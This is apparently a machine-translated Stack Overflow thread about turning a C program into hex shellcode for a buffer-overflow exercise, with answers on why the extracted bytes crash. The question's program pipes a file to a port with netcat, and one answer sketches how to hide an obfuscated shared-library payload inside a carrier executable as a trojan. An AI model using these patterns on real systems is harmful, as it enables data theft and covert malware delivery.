簡體   English   中英

如何將C代碼轉換為程序集的十六進制表示形式?

[英]How do you convert c code into assembly's hex representation?

編輯:看來我還有很多閱讀要做...

另外,對於那些告訴我這不是一個好主意的人,這是針對緩沖區溢出練習的。

我有一個相當簡單的C程序:

int main() {
  system("cat file | nc -p 33 localhost 8080");
  return 0;
}

我想將其轉換為十六進制匯編代碼。 想像:

\x55\x43\xff\x75\x13\x77...

我試着做:

gcc -o shell shell.c
for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

這給了我一長串不錯的十六進制。 但是,當我在該程序中對其進行測試時,出現了段錯誤。

code = "\x55\x43\xff\x75\x13\x77..."
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

有人知道我該如何工作嗎? 謝謝! 另外,我不知道這是否重要,但這是一個64位系統。

從磁盤加載二進制代碼到執行二進制代碼之間,您會丟失操作系統為您做的一堆事情 例如,該函數調用“ system(char * command)”:在OS加載程序“修復”指針之前,指向命令字符的指針無效。

如果非常非常小心,則可以構造不依賴指針的代碼,並且可以在無需OS加載程序幫助的情況下從任意地址運行代碼。 這就是創建堆棧溢出漏洞的方式。 大多數現代CPU通過使用內存管理器將內存標記為“ DATA”或“ CODE”來阻止此代碼運行,並在程序嘗試執行DATA或寫入CODE時出錯。

您正在嘗試執行的操作,操作系統正在嘗試阻止。

這行不通。 主要原因是:編譯器為您創建的不僅是簡單的二進制代碼,而且是可運行程序的明確定義的文件格式(在Windows上為PE文件,在Linux上為ELF文件)由動態鏈接器讀取。並在執行之前通過跳轉到文件頭中以某種方式給出的入口點對其進行了預處理(例如,鏈接到動態共享庫,讀取庫)。 沒有辦法 ,這樣的文件可以通過只是跳轉到該文件中的第一個字節執行。 實際上,是由鏈接器創建輸出格式的,但編譯器會自動調用它。

如果只需要匯編程序代碼,請使用gcc -S ...,您將獲得可用於獨立匯編程序的助記符。

有多種方法可以誘騙鏈接器發出代碼的二進制代碼(請參閱此處有關如何使用該代碼生成MS-DOS .COM文件的有趣讀物 ),但是您仍然遇到問題,即程序通常不會僅包含文本 (已讀,已執行的二進制代碼),但是您也具有數據,通常在.data段(對於只讀)和.bss段(對於讀寫)中。

除此之外,將二進制文件放在字符串中通常會將其放在.data段中。 盡管它可以執行,但不是必須的,從安全的角度來看,它也不應該 -參見Data Execution Prevention

總而言之,就算了...

我不確定您要達到的目標,但是如果我戴上黑帽子一分鍾...

如果要編寫堆棧溢出漏洞利用程序,則需要了解內存管理器和目標CPU的詳細信息。 您將嚴格處理CPU,並完全規避操作系統。

如果要編寫特洛伊木馬,則應將有效負載編譯為動態庫(.so),並將整個有效負載.so 文件的十六進制形式放入代碼[]。 然后,在載體程序中,將code []映射到虛擬文件(或僅將其寫入磁盤)並在(虛擬)文件上調用loadlibrary()。 您仍然不會成為root用戶,但是您的有效負載將被埋在第一個可執行文件中。 您可以對code []字節進行位旋轉,以混淆有效負載。 您還需要弄清楚如何在新創建的文件上設置可執行標志。

對於這兩種情況,您都將使用CPU和/或OS。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM